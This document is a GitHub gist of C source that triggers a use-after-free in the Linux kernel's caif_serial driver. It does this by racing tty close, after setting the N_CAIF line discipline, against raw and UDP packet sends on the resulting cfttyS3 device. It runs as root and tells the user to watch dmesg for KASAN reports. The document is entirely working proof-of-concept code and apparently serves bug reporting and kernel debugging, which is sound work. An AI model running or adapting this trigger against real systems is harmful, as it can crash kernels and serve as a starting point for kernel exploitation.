Skip to content

Instantly share code, notes, and snippets.

@mrpre
Created February 4, 2026 04:04
Show Gist options
  • Select an option

  • Save mrpre/f683f244544f7b11e7fa87df9e6c2eeb to your computer and use it in GitHub Desktop.

Select an option

Save mrpre/f683f244544f7b11e7fa87df9e6c2eeb to your computer and use it in GitHub Desktop.
Trigger caif_serial UAF bug
/*
* caif_uaf_trigger.c - Trigger caif_serial UAF bug
*
* This program opens a tty, sets N_CAIF line discipline,
* then sends packets to the caif device while closing the tty
* to trigger the use-after-free bug.
*
* Compile: gcc -o caif_uaf_trigger caif_uaf_trigger.c -lpthread
* Run as root: ./caif_uaf_trigger
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/sockios.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#define N_CAIF 20
#define TIOCSETD 0x5423
#define TTY_DEVICE "/dev/ttyS3"
#define CAIF_DEV_NAME "cfttyS3"
static volatile int stop_flag = 0;
/* Bring up the caif interface and add IP address */
static int setup_caif_interface(const char *devname)
{
char cmd[256];
/* Bring up interface */
snprintf(cmd, sizeof(cmd), "ip link set %s up 2>/dev/null", devname);
system(cmd);
/* Add IP address */
snprintf(cmd, sizeof(cmd), "ip addr add 10.99.99.1/24 dev %s 2>/dev/null", devname);
system(cmd);
return 0;
}
/* Try to send packets via raw packet socket */
static void send_raw_packets(const char *devname)
{
int sock;
struct sockaddr_ll sll;
char packet[128];
int ifindex;
int i;
sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sock < 0)
return;
ifindex = if_nametoindex(devname);
if (ifindex == 0) {
close(sock);
return;
}
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = ifindex;
sll.sll_protocol = htons(ETH_P_IP);
memset(packet, 'A', sizeof(packet));
for (i = 0; i < 100 && !stop_flag; i++) {
sendto(sock, packet, sizeof(packet), MSG_DONTWAIT,
(struct sockaddr *)&sll, sizeof(sll));
}
close(sock);
}
/* Try to send packets via UDP socket bound to interface */
static void send_udp_packets(const char *devname)
{
int sock;
struct sockaddr_in dst;
struct ifreq ifr;
char packet[64] = "CAIF_UAF_TEST";
int i;
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0)
return;
/* Bind to interface */
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, devname, IFNAMSIZ - 1);
setsockopt(sock, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof(ifr));
memset(&dst, 0, sizeof(dst));
dst.sin_family = AF_INET;
dst.sin_port = htons(12345);
dst.sin_addr.s_addr = inet_addr("10.99.99.2");
for (i = 0; i < 100 && !stop_flag; i++) {
sendto(sock, packet, sizeof(packet), MSG_DONTWAIT,
(struct sockaddr *)&dst, sizeof(dst));
}
close(sock);
}
/* Try to trigger xmit via ioctl */
static void trigger_via_ioctl(const char *devname)
{
int sock;
struct ifreq ifr;
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0)
return;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, devname, IFNAMSIZ - 1);
/* Try various ioctls that might trigger xmit */
ioctl(sock, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(sock, SIOCSIFFLAGS, &ifr);
ioctl(sock, SIOCGIFTXQLEN, &ifr);
ioctl(sock, SIOCGIFMTU, &ifr);
close(sock);
}
/* Packet sender process - runs in a loop trying to send packets */
static void packet_sender_process(void)
{
while (!stop_flag) {
int ifindex = if_nametoindex(CAIF_DEV_NAME);
if (ifindex > 0) {
/* Device exists, try to send packets */
setup_caif_interface(CAIF_DEV_NAME);
send_raw_packets(CAIF_DEV_NAME);
send_udp_packets(CAIF_DEV_NAME);
trigger_via_ioctl(CAIF_DEV_NAME);
}
usleep(1000);
}
}
/* TTY open/close process */
static void tty_process(void)
{
int fd;
int ldisc = N_CAIF;
int iter = 0;
while (!stop_flag) {
iter++;
fd = open(TTY_DEVICE, O_RDWR | O_NOCTTY | O_NONBLOCK);
if (fd < 0) {
usleep(10000);
continue;
}
if (ioctl(fd, TIOCSETD, &ldisc) < 0) {
close(fd);
usleep(10000);
continue;
}
printf("[%d] Created caif device, waiting briefly...\n", iter);
/* Brief delay to let sender find the device */
usleep(100000); /* 100ms */
printf("[%d] Closing tty (race window starts)...\n", iter);
/*
* Close triggers ldisc_close() which has 500ms mdelay.
* During this delay, tty is freed but netdev still exists.
* If sender sends packet during this window -> UAF!
*/
close(fd);
/* Wait for the 500ms delay + cleanup to finish */
usleep(700000); /* 700ms */
}
}
static void sighandler(int sig)
{
stop_flag = 1;
}
int main(int argc, char *argv[])
{
pid_t sender_pid, tty_pid;
int duration = 60;
int status;
if (argc > 1)
duration = atoi(argv[1]);
printf("=== CAIF UAF Trigger ===\n");
printf("Duration: %d seconds\n", duration);
printf("TTY: %s -> CAIF dev: %s\n", TTY_DEVICE, CAIF_DEV_NAME);
printf("Watch 'dmesg -w' for KASAN reports or CAIF_DEBUG messages\n\n");
signal(SIGINT, sighandler);
signal(SIGTERM, sighandler);
signal(SIGCHLD, SIG_IGN);
/* Fork packet sender */
sender_pid = fork();
if (sender_pid == 0) {
packet_sender_process();
exit(0);
}
/* Fork TTY opener/closer */
tty_pid = fork();
if (tty_pid == 0) {
tty_process();
exit(0);
}
/* Main process waits */
printf("Running for %d seconds...\n", duration);
sleep(duration);
/* Cleanup */
printf("\nStopping...\n");
stop_flag = 1;
kill(sender_pid, SIGTERM);
kill(tty_pid, SIGTERM);
waitpid(sender_pid, &status, 0);
waitpid(tty_pid, &status, 0);
printf("Done. Check dmesg for results.\n");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment